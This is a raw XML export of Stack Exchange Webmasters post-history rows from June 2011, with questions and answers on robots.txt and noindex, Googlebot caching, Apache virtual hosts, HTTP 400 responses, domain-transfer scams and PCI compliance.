  <row Id="38232" PostHistoryTypeId="5" PostId="16087" RevisionGUID="a2a3b08c-2012-409a-8926-d8cc485767b1" CreationDate="2011-06-28T15:41:57.417" UserId="1253" Comment="modified tags, minor text edits" Text="I have made a new plain vanilla HTML website. I have been making regular modifications to it on an almost daily basis. The site is hosted by hostmonster and as part of their service they offer &quot;awstats&quot; to let you know assorted details of visitors to the site. One thing is puzzling me. According to awstats, a &quot;robot/spider&quot; calling itself &quot;Googlebot&quot; visited my site as recently as today (28th June 2011), but when I find my site on google (e.g. by searching for &quot;full reserve banking&quot;) the cache is dated only the 5th June. I always thought that a visit from the google robot was synonymous with a cache update. Am I wrong? Or have I accidentally put something in the site telling google that nothing has been updated? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fullreservebanking.com" />
  <row Id="38233" PostHistoryTypeId="6" PostId="16087" RevisionGUID="a2a3b08c-2012-409a-8926-d8cc485767b1" CreationDate="2011-06-28T15:41:57.417" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;seo&gt;&lt;google&gt;&lt;googlebot&gt;" />
  <row Id="38234" PostHistoryTypeId="5" PostId="16087" RevisionGUID="ab7812d9-ab8a-47a8-9624-e15e2269acc0" CreationDate="2011-06-28T15:49:50.730" UserId="8390" Comment="added 286 characters in body" Text="I have made a new plain vanilla HTML website. I have been making regular modifications to it on an almost daily basis. The site is hosted by hostmonster and as part of their service they offer &quot;awstats&quot; to let you know assorted details of visitors to the site. One thing is puzzling me. According to awstats, a &quot;robot/spider&quot; calling itself &quot;Googlebot&quot; visited my site as recently as today (28th June 2011), but when I find my site on google (e.g. by searching for &quot;full reserve banking&quot;) the cache is dated only the 5th June. I always thought that a visit from the google robot was synonymous with a cache update. Am I wrong? Or have I accidentally put something in the site telling google that nothing has been updated? &#xD;&#xA;&#xD;&#xA;**EDIT:** It seems a moderator has removed the name of my website, so there is now no chance that anyone could check out if I had made some error on my site :-( ... but anyway, in answer to paulmorriss' question, here is what aw stats was telling me:&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/g25Z1.jpg" />
  <row Id="38235" PostHistoryTypeId="5" PostId="16002" RevisionGUID="3f34e207-30fb-4dda-ba9a-647b17e86bd4" CreationDate="2011-06-28T15:59:56.060" UserId="7801" Comment="Added an update" Text="Using data from Google Analytics and Webmaster tools, what data should I be looking at to improve my websites performance?&#xD;&#xA;&#xD;&#xA;I want to improve the SEO, usability and just general performance of my website.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;It's a portfolio website that we've done the initial SEO for, also optimised all images etc and made the site as fast as possible.&#xD;&#xA;&#xD;&#xA;What kind of things should I be looking out for in the analytics and webmaster data to improve performance for both the SEO and each individual page.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;Is there kind of a weekly/monthly checklist of things to check to improve SEO and performance." />
  <row Id="38236" PostHistoryTypeId="5" PostId="15387" RevisionGUID="47bc9171-5871-4006-81ec-91cb1d7cbaf5" CreationDate="2011-06-28T16:35:04.933" UserId="4502" Comment="Added Euro hosting announcement." Text="I've been satisfied with &lt;a href=&quot;http://webfaction.com&quot;&gt;WebFaction&lt;/a&gt;(registered in England and Wales) for a while now. I moved a client's WordPress site that was bringing a MediaTemple grid account to a crawl over there, and it's never even stuttered.&#xD;&#xA;&#xD;&#xA;&lt;b&gt;EDIT 06.28&lt;/b&gt;: WebFaction have just &lt;a href=&quot;http://blog.webfaction.com/2011/06/europe-here-we-come/&quot;&gt;announced&lt;/a&gt; European servers(London)." />
  <row Id="38237" PostHistoryTypeId="2" PostId="16089" RevisionGUID="896ad865-eac8-4fea-8bc8-f896aa31f77e" CreationDate="2011-06-28T17:04:34.563" UserId="6184" Text="We run a number of affiliate schemes, and I would like to track which links from our website produce sales, and which do not. I can persuade our affiliates to include tracking code in their pages for us; what product or method is best suited for this purpose?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Chris." />
  <row Id="38238" PostHistoryTypeId="1" PostId="16089" RevisionGUID="896ad865-eac8-4fea-8bc8-f896aa31f77e" CreationDate="2011-06-28T17:04:34.563" UserId="6184" Text="How can I track conversions on third party websites?" />
  <row Id="38239" PostHistoryTypeId="3" PostId="16089" RevisionGUID="896ad865-eac8-4fea-8bc8-f896aa31f77e" CreationDate="2011-06-28T17:04:34.563" UserId="6184" Text="&lt;google-analytics&gt;&lt;analytics&gt;&lt;affiliate&gt;" />
  <row Id="38240" PostHistoryTypeId="17" PostId="16090" RevisionGUID="01b5e2c6-4d16-4821-9a2b-3251153741a8" CreationDate="2011-06-28T17:32:30.733" UserId="-1" Comment="from http://stackoverflow.com/questions/6510200/stopping-google-index-some-web-pages-i-have" Text="" />
  <row Id="38241" PostHistoryTypeId="17" PostId="16091" RevisionGUID="04c60839-da4a-42d3-94a2-09df02ee4e42" CreationDate="2011-06-28T17:32:30.733" UserId="-1" Comment="from http://stackoverflow.com/questions/6510200/stopping-google-index-some-web-pages-i-have" Text="" />
  <row Id="38242" PostHistoryTypeId="17" PostId="16092" RevisionGUID="cf17fd37-0f40-40eb-84ec-25ec434ada6f" CreationDate="2011-06-28T17:32:30.733" UserId="-1" Comment="from http://stackoverflow.com/questions/6510200/stopping-google-index-some-web-pages-i-have" Text="" />
  <row Id="38243" PostHistoryTypeId="17" PostId="16093" RevisionGUID="a62acfbb-d05f-4a5c-ad59-ec2c681bcc0b" CreationDate="2011-06-28T17:32:30.733" UserId="-1" Comment="from http://stackoverflow.com/questions/6510200/stopping-google-index-some-web-pages-i-have" Text="" />
  <row Id="38244" PostHistoryTypeId="2" PostId="16091" RevisionGUID="8a1a1be2-7717-442c-84af-d037f2fc307b" CreationDate="2011-06-28T16:57:15.727" UserDisplayName="mrlanrat" Text="The robots.txt should be enough&#xD;&#xA;But Google will not make the change until the next time they index your website.&#xD;&#xA;Which if your site is low traffic may be a while." />
  <row Id="38245" PostHistoryTypeId="2" PostId="16092" RevisionGUID="b49bbe2c-33af-45cd-a9a4-2814821fd3e0" CreationDate="2011-06-28T16:57:56.573" UserDisplayName="a" Text="You would use code similar to this:&#xD;&#xA;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;     &lt;meta name=&quot;robots&quot; content=&quot;noindex&quot; /&gt;&#xD;&#xA;     &lt;title&gt;Your Page Title&lt;/title&gt;&#xD;&#xA;    &lt;/head&gt;" />
  <row Id="38246" PostHistoryTypeId="2" PostId="16093" RevisionGUID="8768a0cf-8514-410e-b921-baf9090830da" CreationDate="2011-06-28T16:58:19.693" UserId="1408" Text="Google will respect your robot.txt directives. The `noindex` is not needed for Google bots.&#xD;&#xA;&#xD;&#xA;See [this page for more info about ways to prevent bots from indexing your content][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://antezeta.com/news/avoid-search-engine-indexing" />
  <row Id="38247" PostHistoryTypeId="2" PostId="16090" RevisionGUID="16065ed7-4731-40a9-805b-fa92f60a1b98" CreationDate="2011-06-28T16:55:05.477" UserDisplayName="MIMI" Text="I have some web pages that google has indexed. Now I added a robots.txt file to exclude them but should I also add a “noindex” tag and if so then how can I best add this?" />
  <row Id="38248" PostHistoryTypeId="1" PostId="16090" RevisionGUID="16065ed7-4731-40a9-805b-fa92f60a1b98" CreationDate="2011-06-28T16:55:05.477" UserDisplayName="MIMI" Text="Stopping Google index some web pages I have" />
  <row Id="38249" PostHistoryTypeId="3" PostId="16090" RevisionGUID="16065ed7-4731-40a9-805b-fa92f60a1b98" CreationDate="2011-06-28T16:55:05.477" UserDisplayName="MIMI" Text="&lt;google&gt;&lt;indexing&gt;&lt;search-engines&gt;&lt;robots.txt&gt;" />
  <row Id="38250" PostHistoryTypeId="2" PostId="16094" RevisionGUID="0155e344-0066-4d44-a1f8-5aaf33ef7003" CreationDate="2011-06-28T17:36:46.123" UserId="6901" Text="This is kindove a strange question, but...&#xD;&#xA;&#xD;&#xA;There was a site called Blackle ( http://www.blackle.com/) which &quot;claimed&quot; to save energy by using a black background (it doesn't: see here: http://skeptics.stackexchange.com/questions/4373/how-much-energy-does-displaying-a-webpage-with-a-black-background-actually-save). However, blackle and it's idea of &quot;green website design&quot; interested me, and I was wondering if there are any ways to design an energy saving website that actually save energy. If anyone knows of any, please post them here. If nobody has any, then I guess there isn't a way to save energy through website design..." />
  <row Id="38251" PostHistoryTypeId="1" PostId="16094" RevisionGUID="0155e344-0066-4d44-a1f8-5aaf33ef7003" CreationDate="2011-06-28T17:36:46.123" UserId="6901" Text="Green Website Design" />
  <row Id="38252" PostHistoryTypeId="3" PostId="16094" RevisionGUID="0155e344-0066-4d44-a1f8-5aaf33ef7003" CreationDate="2011-06-28T17:36:46.123" UserId="6901" Text="&lt;website-design&gt;" />
  <row Id="38253" PostHistoryTypeId="2" PostId="16095" RevisionGUID="c5217a5f-0837-4ad3-99db-4518c81a2aaf" CreationDate="2011-06-28T17:37:57.950" UserId="8667" Text="I was approached by a person wanting to help me set up a website.  In order to do this he has requested that I allow him to transfer my domain name to his account, for easier management.  I would retain the right of usage and he would pay the bill for maintaining the name.  This sounds fishy, but I can't figure out what he hopes to gain if this is a scam.  Is this a common practice among 'Administrative Contacts'?" />
  <row Id="38254" PostHistoryTypeId="1" PostId="16095" RevisionGUID="c5217a5f-0837-4ad3-99db-4518c81a2aaf" CreationDate="2011-06-28T17:37:57.950" UserId="8667" Text="Why would someone want to take over control of my domain name?" />
  <row Id="38255" PostHistoryTypeId="3" PostId="16095" RevisionGUID="c5217a5f-0837-4ad3-99db-4518c81a2aaf" CreationDate="2011-06-28T17:37:57.950" UserId="8667" Text="&lt;web-development&gt;" />
  <row Id="38256" PostHistoryTypeId="2" PostId="16096" RevisionGUID="f984bb18-7689-4c6c-ada4-906d58fa75a6" CreationDate="2011-06-28T17:41:46.807" UserId="6441" Text="According to [www.w3.org](http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html), a Web server should reply with status code `400 Bad Request`  if:&#xD;&#xA;  &#xD;&#xA;&quot;*The request could not be understood by the server due&#xD;&#xA;    to malformed syntax. The client SHOULD NOT repeat the&#xD;&#xA;    request without modifications*&quot;&#xD;&#xA;&#xD;&#xA;Does that mean only request that violates some HTTP spec?  &#xD;&#xA;Or does it include a request that my particular Web app thinks is broken?  &#xD;&#xA;When would you reply `400`?&#xD;&#xA;&#xD;&#xA;For example, if my Web app expects a query string to always include a &quot;function=...&quot; parameter, would you reply code `400 Bad Request` or `403 Forbidden`? (403 means that *&quot;The server understood the request, but is refusing to fulfill it.&quot;*)" />
  <row Id="38257" PostHistoryTypeId="1" PostId="16096" RevisionGUID="f984bb18-7689-4c6c-ada4-906d58fa75a6" CreationDate="2011-06-28T17:41:46.807" UserId="6441" Text="When to reply 400 Bad Request" />
  <row Id="38258" PostHistoryTypeId="3" PostId="16096" RevisionGUID="f984bb18-7689-4c6c-ada4-906d58fa75a6" CreationDate="2011-06-28T17:41:46.807" UserId="6441" Text="&lt;http&gt;" />
  <row Id="38259" PostHistoryTypeId="2" PostId="16097" RevisionGUID="2ea4d33e-552d-478d-987d-948fc40fbf79" CreationDate="2011-06-28T17:42:27.820" UserId="6033" Text="If you transfer the domain, then you no longer own it and he can do whatever he wants with it. When your site starts bringing in traffic, he's free to cut off contact with you and profit from it. Even if he doesn't plan to scam you it's a bad idea because you lose control. You won't retain any rights unless he allows them.&#xD;&#xA;&#xD;&#xA;It may be common in some cases (less tech savvy customers), but it's a bad practice. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="38260" PostHistoryTypeId="2" PostId="16098" RevisionGUID="524495a2-aa71-4a16-8e97-eb9254bcf082" CreationDate="2011-06-28T17:44:59.050" UserId="1253" Text="If you want to block search engines from crawling and/or indexing your pages you can use a few methods:&#xD;&#xA;&#xD;&#xA;1) Use [robots.txt](http://robotstxt.org). Google will honor it and remove those pages automatically although there is no timetable for them to get it done&#xD;&#xA;&#xD;&#xA;2) Use meta tags&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&gt;&#xD;&#xA;&#xD;&#xA;3) Use http headers&#xD;&#xA;&#xD;&#xA;    Header set x-robots-tag: noindex&#xD;&#xA;&#xD;&#xA;4) Use rel=&quot;nofollow&quot; on any links that point to those pages.&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.example.com/sample.html&quot; rel=&quot;nofollow&quot;&gt;Link to page I don't want indexed&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;You can also tell Google to [remove those pages from their index][1] in [Google Webmaster Tools][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=164734&#xD;&#xA;  [2]: http://www.google.com/webmasters/tools/" />
  <row Id="38261" PostHistoryTypeId="2" PostId="16099" RevisionGUID="7dd70c87-60aa-4c7f-8981-88cb8c049241" CreationDate="2011-06-28T17:48:39.720" UserId="1253" Text="There's no reason for them to have ownership of your domain and they know it. That right there tells me they are probably up to no good. The only management you would need to do is with DNS and you can do that on your own. Everything else related to a website would be handled on the server." />
  <row Id="38262" PostHistoryTypeId="2" PostId="16100" RevisionGUID="1a3df782-ca32-436f-aa5d-4cc709e8d461" CreationDate="2011-06-28T17:54:36.920" UserId="1253" Text="My interpretation of that header is that the HTTP specification was not followed properly and a required field is missing or bad data is provided. For example a header is missing or invalid characters are used in the request, etc. &#xD;&#xA;&#xD;&#xA;Some malformed request exam-ple:&#xD;&#xA;&#xD;&#xA;    GET /images/logo.png HTTP/2 # there is no HTTP 2&#xD;&#xA;    POTT /images/logo.png HTTP/1.1 # POTT should be POST&#xD;&#xA;    Accept-Language  en-US # Missing colon after header name&#xD;&#xA;&#xD;&#xA;Your example seems like a legitimate usage of that HTTP response code. However, I suspect this would be better handled in your application. If that parameter is missing you can serve up a much prettier and more through error message. You can also have the page report back to you about the error so you can investigate it if necessary." />
  <row Id="38263" PostHistoryTypeId="2" PostId="16101" RevisionGUID="6f87aef9-19b0-4b3e-bc46-2dfb488a5267" CreationDate="2011-06-28T18:00:39.440" UserId="6033" Text="Probably pointing out the obvious, but, focusing the cost and effort on energy efficient servers would do more for the environment than coding efficiency. &#xD;&#xA;&#xD;&#xA;Many gains from coding are going to come with a usability setback. &#xD;&#xA;&#xD;&#xA;Example, would you be willing to reduce redundancy to save a few processor cycles?" />
  <row Id="38264" PostHistoryTypeId="25" PostId="16094" RevisionGUID="1fff9d5b-42fb-4e0f-a8a6-38122b9fef70" CreationDate="2011-06-28T18:25:57.160" Comment="http://twitter.com/#!/StackWebmasters/status/85775957838938112" />
  <row Id="38265" PostHistoryTypeId="2" PostId="16102" RevisionGUID="c6fe93c5-3ae0-46e9-a53f-d24fed68e0cf" CreationDate="2011-06-28T18:47:17.900" UserId="2490" Text="I can recommend [Arvixe][1]. I use them, good hosting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3-3-3.html" />
  <row Id="38266" PostHistoryTypeId="2" PostId="16103" RevisionGUID="a856187a-9df2-498e-a77a-822b67c8f35a" CreationDate="2011-06-28T18:59:05.417" UserId="7198" Text="###Practical steps you could take (to make a tiny difference):&#xD;&#xA;&#xD;&#xA; - **Use a web hosting company who offsets the carbon emissions** caused by the energy it uses. (Search for 'green web hosting'.)&#xD;&#xA; - **Reduce your site's loading time** (because there will be a small correlation between speed, server load, and energy used.)&#xD;&#xA; - **Use shared or VPS servers** wherever possible because they offer more efficient use of energy and rack space than dedicated servers.&#xD;&#xA; - **Reduce dependence on video** and other 'heavy' media that requires encoding, storing, streaming etc. and focus on lightweight text-led design.&#xD;&#xA;&#xD;&#xA;###For novelty value alone you could...&#xD;&#xA;&#xD;&#xA; - **Create a website with opening hours.** The server could power down during the closing hours. Set the opening hours as slim as you dare: consider a site that's only available one hour a day, or one that only opens on Mondays.&#xD;&#xA; - **Create a website as an installation/art piece** that's only available if the visitor is pedalling on an exercise bike. When they stop pedalling, the touchscreen/keyboard ceases to function.&#xD;&#xA;&#xD;&#xA;###Thinking bigger&#xD;&#xA;The best way to save energy with web design is probably not to fiddle with server architecture or website structure (both of which will likely have small effects, even for moderately busy sites), but instead build something to:&#xD;&#xA;&#xD;&#xA; - **Make heaps of money** so that you can spend a considerable amount on energy-related research, development, and investment that has far-reaching potential. (e.g. Google's [$350m green fund.](http://www.google.com/green/))&#xD;&#xA; - **Design an energy-related campaign** to promote sociopolitical change (e.g. [Lighter Later](http://www.lighterlater.org/)).&#xD;&#xA;" />
  <row Id="38275" PostHistoryTypeId="2" PostId="16107" RevisionGUID="640208a7-cc6f-4567-a7e3-449218746223" CreationDate="2011-06-28T19:34:00.853" UserId="7260" Text="One of the websites I administer wants to provide free advertising in the form of direct links to vendors at an event they are running.  Up until now, there has been no advertising whatsoever on the site (or any of our other sites).&#xD;&#xA;&#xD;&#xA;The site is for a for-profit business.  &#xD;&#xA;&#xD;&#xA;The idea of implicit endorsement of any vendors we advertise has been raised, which brought up the question of what we need to do, if anything, to protect ourselves from any potential problems such endorsement might create.&#xD;&#xA;&#xD;&#xA;I know that many sites have clauses in their Terms of Service that state that (in a nutshell) they are not responsible for any problems or grievances between the visitors to the site and any vendor advertised or linked.&#xD;&#xA;&#xD;&#xA;Are there other steps that a website typically takes when considering advertising, such as getting the advertiser to provide some sort of certification that their ad will not violate any trademarks or copyrighted material?" />
  <row Id="38276" PostHistoryTypeId="1" PostId="16107" RevisionGUID="640208a7-cc6f-4567-a7e3-449218746223" CreationDate="2011-06-28T19:34:00.853" UserId="7260" Text="What liability concerns does advertising vendors raise, and how can I address them?" />
  <row Id="38277" PostHistoryTypeId="3" PostId="16107" RevisionGUID="640208a7-cc6f-4567-a7e3-449218746223" CreationDate="2011-06-28T19:34:00.853" UserId="7260" Text="&lt;advertising&gt;&lt;legal&gt;&lt;copyright&gt;&lt;terms-of-use&gt;" />
  <row Id="38278" PostHistoryTypeId="4" PostId="16107" RevisionGUID="08ae6277-e2f6-4cae-be88-5289c2b2dcf3" CreationDate="2011-06-28T19:49:06.093" UserId="7260" Comment="edited title" Text="What liability concerns do advertising vendors raise, and how can I address them?" />
  <row Id="38279" PostHistoryTypeId="2" PostId="16108" RevisionGUID="bf09c3bc-70c9-40ad-a99b-d6d293333362" CreationDate="2011-06-28T20:05:16.387" UserId="8668" Text="I have setup a virtualhost for MacOSX Apache instalation. This are my steps:&#xD;&#xA;&#xD;&#xA;- edit /private/etc/apache2/httpd.conf removing comment from:&#xD;&#xA;&#xD;&#xA;		Include /private/etc/apache2/extra/httpd-vhosts.conf &#xD;&#xA;&#xD;&#xA;- edit /private/etc/apache2/extra/httpd-vhosts.conf, added:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xD;&#xA;ServerName test.local&#xD;&#xA;DocumentRoot &quot;/Users/myusername/Sites/Test/public&quot;&#xD;&#xA;&amp;lt;Directory &quot;/Users/myusername/Sites/Test/public&quot;&amp;gt;&#xD;&#xA;Options Indexes FollowSymLinks &#xD;&#xA;Includes AllowOverride All&#xD;&#xA;Order allow,deny&#xD;&#xA;Allow from all&#xD;&#xA;&amp;lt;/Directory&amp;gt;&#xD;&#xA;&amp;lt;/VirtualHost&amp;gt;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;- edit /private/etc/hosts added&#xD;&#xA;&#xD;&#xA;		127.0.0.7 test.local&#xD;&#xA;	&#xD;&#xA;- Restart Apache&#xD;&#xA;&#xD;&#xA;But the VirtualHost does not work. To further isolate the problem I check the same configuration with MAMP and the virtual host worked rigth, so the configuration files should be fine.&#xD;&#xA;&#xD;&#xA;What can be wrong?" />
  <row Id="38280" PostHistoryTypeId="1" PostId="16108" RevisionGUID="bf09c3bc-70c9-40ad-a99b-d6d293333362" CreationDate="2011-06-28T20:05:16.387" UserId="8668" Text="Virtual Host under MacOSX not working" />
  <row Id="38281" PostHistoryTypeId="3" PostId="16108" RevisionGUID="bf09c3bc-70c9-40ad-a99b-d6d293333362" CreationDate="2011-06-28T20:05:16.387" UserId="8668" Text="&lt;apache&gt;&lt;virtualhost&gt;&lt;mac&gt;" />
  <row Id="38282" PostHistoryTypeId="17" PostId="16109" RevisionGUID="ba3d9920-d6b2-4864-9ff0-833f92d7fc01" CreationDate="2011-06-28T20:11:41.373" UserId="-1" Comment="from http://stackoverflow.com/questions/6512451/quick-question-robots-txt-disallow-does-what-exactly" Text="" />
  <row Id="38283" PostHistoryTypeId="2" PostId="16109" RevisionGUID="6bc4ee94-7e37-4996-9c90-35cf27f136f2" CreationDate="2011-06-28T20:04:46.280" UserDisplayName="Exit" Text="A SEO firm suggested changing the robots.txt to:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;&#xD;&#xA;    Disallow: /*/&#xD;&#xA;    Allow: /ims/&#xD;&#xA;&#xD;&#xA;I'm not sure what that would do, but my guess is that is would tell all robots to index nothing but the ims folder. I understand the wildcard, but I'm confused by the slashes and don't know how they would play out in conjunction with the wildcard.&#xD;&#xA;" />
  <row Id="38284" PostHistoryTypeId="1" PostId="16109" RevisionGUID="6bc4ee94-7e37-4996-9c90-35cf27f136f2" CreationDate="2011-06-28T20:04:46.280" UserDisplayName="Exit" Text="Quick Question, robots.txt Disallow: /*/ does what exactly?" />
  <row Id="38285" PostHistoryTypeId="3" PostId="16109" RevisionGUID="6bc4ee94-7e37-4996-9c90-35cf27f136f2" CreationDate="2011-06-28T20:04:46.280" UserDisplayName="Exit" Text="&lt;seo&gt;&lt;robots.txt&gt;" />
  <row Id="38286" PostHistoryTypeId="2" PostId="16110" RevisionGUID="b393dc9b-1fa0-4f49-b3f4-e1db98df40bf" CreationDate="2011-06-28T20:16:50.183" UserId="8669" Text="The /*/ is a match all pattern. For every subfolder under /.&#xD;&#xA;&#xD;&#xA;But if you pay this SEO firm i would fire them. Because as with nearly every http allow/disallow rules &quot;First-Match-Rules&quot;.&#xD;&#xA;&#xD;&#xA;So this two lines are in the incorrect order. Because /*/ will also match /ims/ and the first rule is &quot;disallow&quot; so /ims/ is not crawled either.&#xD;&#xA;&#xD;&#xA;quote from the rfc:&#xD;&#xA;&#xD;&#xA;&gt; To evaluate if access to a URL is&#xD;&#xA;&gt; allowed, a robot must attempt to match&#xD;&#xA;&gt; the paths in Allow and Disallow lines&#xD;&#xA;&gt; against the URL, in the order they&#xD;&#xA;&gt; occur in the record. The first match&#xD;&#xA;&gt; found is used. If no match is found,&#xD;&#xA;&gt; the default assumption is that the URL&#xD;&#xA;&gt; is allowed.&#xD;&#xA;&#xD;&#xA;[RFC][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/norobots-rfc.txt" />
  <row Id="38287" PostHistoryTypeId="2" PostId="16111" RevisionGUID="cb7ac558-23c5-4515-99db-3fef3e29ee0d" CreationDate="2011-06-28T20:26:21.020" UserId="8354" Text="Maybe your config has wrong IP?&#xD;&#xA;&#xD;&#xA;    127.0.0.7 test.local&#xD;&#xA;&#xD;&#xA;This one should work just fine:&#xD;&#xA;&#xD;&#xA;    127.0.0.1 test.local&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38288" PostHistoryTypeId="5" PostId="16111" RevisionGUID="4d065bda-ee38-4149-99e3-f1d44f0f19c1" CreationDate="2011-06-28T20:32:23.903" UserId="8354" Comment="added 299 characters in body" Text="Maybe your config has wrong IP?&#xD;&#xA;&#xD;&#xA;    127.0.0.7 test.local&#xD;&#xA;&#xD;&#xA;This one should work just fine:&#xD;&#xA;&#xD;&#xA;    127.0.0.1 test.local&#xD;&#xA;&#xD;&#xA;Additionally you may have incorrect `&lt;VirtualHost&gt;` directives formatting (**unless** this is happened when you inserted text here). Instead of&#xD;&#xA;&#xD;&#xA;    Options Indexes FollowSymLinks &#xD;&#xA;    Includes AllowOverride All&#xD;&#xA;&#xD;&#xA;should be&#xD;&#xA;&#xD;&#xA;    Options Indexes FollowSymLinks Includes&#xD;&#xA;    AllowOverride All&#xD;&#xA;" />
  <row Id="38289" PostHistoryTypeId="17" PostId="16112" RevisionGUID="ea9ac21f-2bf8-4d0e-897e-9e7f7291ae26" CreationDate="2011-06-28T20:39:11.467" UserId="-1" Comment="from http://stackoverflow.com/questions/6512319/adding-1-subdomain-using-htaccess" Text="" />
  <row Id="38290" PostHistoryTypeId="17" PostId="16113" RevisionGUID="5c6a0de9-9c63-41b8-bd0c-9a42a1c94182" CreationDate="2011-06-28T20:39:11.467" UserId="-1" Comment="from http://stackoverflow.com/questions/6512319/adding-1-subdomain-using-htaccess" Text="" />
  <row Id="38291" PostHistoryTypeId="2" PostId="16113" RevisionGUID="978aa3b5-ef59-4e81-8f09-72cf36a9f46b" CreationDate="2011-06-28T20:12:16.333" UserDisplayName="Thomas Berger" Text="You could not at a subdomain via a .htaccess file.&#xD;&#xA;&#xD;&#xA;You need to modify the vhost configuration and add one more vhost. &#xD;&#xA;&#xD;&#xA;Have a look at the documentation of your webserver how to do this.&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;There is a logical reason behind this (i don't know all webservers and there features, so correct me if i tell something wrong):&#xD;&#xA;&#xD;&#xA;Lets look at a typical HTTP request(send by client):&#xD;&#xA;&#xD;&#xA;    GET /index.php HTTP/1.1&#xD;&#xA;    Host: www.example.org&#xD;&#xA;&#xD;&#xA;So, we have the following information in this request:&#xD;&#xA;&#xD;&#xA;- the *uri*: `index.php`&#xD;&#xA;- the protocol version we understand: `HTTP/1.1`&#xD;&#xA;- the Host (*vhost*) we want the *uri* from&#xD;&#xA;&#xD;&#xA;On such a request, the webserver does a few lookups:&#xD;&#xA;&#xD;&#xA; 1. `Host`: first the server needs to know in which directory he should look, this is part of the *vHost* configuration&#xD;&#xA; 2. the *uri* you are looking for&#xD;&#xA;&#xD;&#xA;As the .htaccess file does belongs to a vhost (*a.example.org*), we have already behind the vhost decision." />
  <row Id="38292" PostHistoryTypeId="2" PostId="16112" RevisionGUID="6573ee74-9f40-4e4d-906a-ea1fe42aa066" CreationDate="2011-06-28T19:52:18.240" UserDisplayName="Jake" Text="Alright, so unlike other solutions I only want one subdomain to appear to be added.&#xD;&#xA;&#xD;&#xA;Say I wanted `example.com/folder/page.php` to be displayed as `foo.example.com/folder/page.php`, how would I go about doing this?&#xD;&#xA;&#xD;&#xA;The `foo` will never change, and it only needs to be for one page.&#xD;&#xA;&#xD;&#xA;Various other sites have been unable to provide an answer, thanks in advance.&#xD;&#xA;&#xD;&#xA;Edit: Oh, and I also have full DNS records to the domain." />
  <row Id="38293" PostHistoryTypeId="1" PostId="16112" RevisionGUID="6573ee74-9f40-4e4d-906a-ea1fe42aa066" CreationDate="2011-06-28T19:52:18.240" UserDisplayName="Jake" Text="Adding 1 subdomain using .htaccess" />
  <row Id="38294" PostHistoryTypeId="3" PostId="16112" RevisionGUID="6573ee74-9f40-4e4d-906a-ea1fe42aa066" CreationDate="2011-06-28T19:52:18.240" UserDisplayName="Jake" Text="&lt;htaccess&gt;" />
  <row Id="38298" PostHistoryTypeId="25" PostId="16109" RevisionGUID="fc6fd9d3-7b32-4db4-843d-9426a9921d4e" CreationDate="2011-06-28T21:25:58.643" Comment="http://twitter.com/#!/StackWebmasters/status/85821261682450432" />
  <row Id="38300" PostHistoryTypeId="2" PostId="16116" RevisionGUID="cff361fb-7c21-4863-9b10-cc56f67d24e2" CreationDate="2011-06-28T22:32:29.663" UserId="4043" Text="My company is outsourcing the development of our new e-commerce site to a third party web development company. The way they set up our site to handle transactions is by having the user enter the necessary payment info, then passing that data to a third party merchant that processes the payment, then completing the transaction if everything is good.&#xD;&#xA;&#xD;&#xA;When the issue of PCI/DSS compliance was raised, they said:&#xD;&#xA;&#xD;&#xA;&gt; You wont need PCI certification&#xD;&#xA;&gt; because the clients browser will send&#xD;&#xA;&gt; the sensitive information directly to&#xD;&#xA;&gt; the third party merchant when the&#xD;&#xA;&gt; transaction is processed.&#xD;&#xA;&gt; However, the process will be&#xD;&#xA;&gt; transparent to the user because all&#xD;&#xA;&gt; interface and displays are controlled&#xD;&#xA;&gt; by us.&#xD;&#xA;&gt; The only server required to be&#xD;&#xA;&gt; compliant is the third party&#xD;&#xA;&gt; merchant's because no&#xD;&#xA;&gt; sensitive card data ever &#xD;&#xA;&gt; touches your server or web app.&#xD;&#xA;&#xD;&#xA;Even though I very much so trust and respect the knowledge of our web developers, what they are saying is raising some serious red flags for me.&#xD;&#xA;&#xD;&#xA;The way the site is described, I am sure we will not be using a hosted payment page like PayPal or Google Checkout offers (how could we maintain control over UI if we were?) And while my knowledge of e-commerce is laughable at best, it seems like the only other option for us would be to use XML direct to communicate with our third party merchant for processing.&#xD;&#xA;&#xD;&#xA;My two questions are as follows:&#xD;&#xA;&#xD;&#xA;1. Based off everything you've read, is &quot;XML Direct&quot; the only option they could conceivably be using, or is there another method I don't know of which they could be implementing?&#xD;&#xA;2. *Most importantly*, is it true our site does not need PCI certification? As I understand it, using the XML direct method means that we **do** have to be PCI/DSS certified, and the only way around getting certified is through a payment hosted page (i.e. PayPal).&#xD;&#xA;" />
  <row Id="38301" PostHistoryTypeId="1" PostId="16116" RevisionGUID="cff361fb-7c21-4863-9b10-cc56f67d24e2" CreationDate="2011-06-28T22:32:29.663" UserId="4043" Text="PCI compliance when using third-party processing" />
  <row Id="38302" PostHistoryTypeId="3" PostId="16116" RevisionGUID="cff361fb-7c21-4863-9b10-cc56f67d24e2" CreationDate="2011-06-28T22:32:29.663" UserId="4043" Text="&lt;security&gt;&lt;ecommerce&gt;&lt;pci-compliance&gt;" />
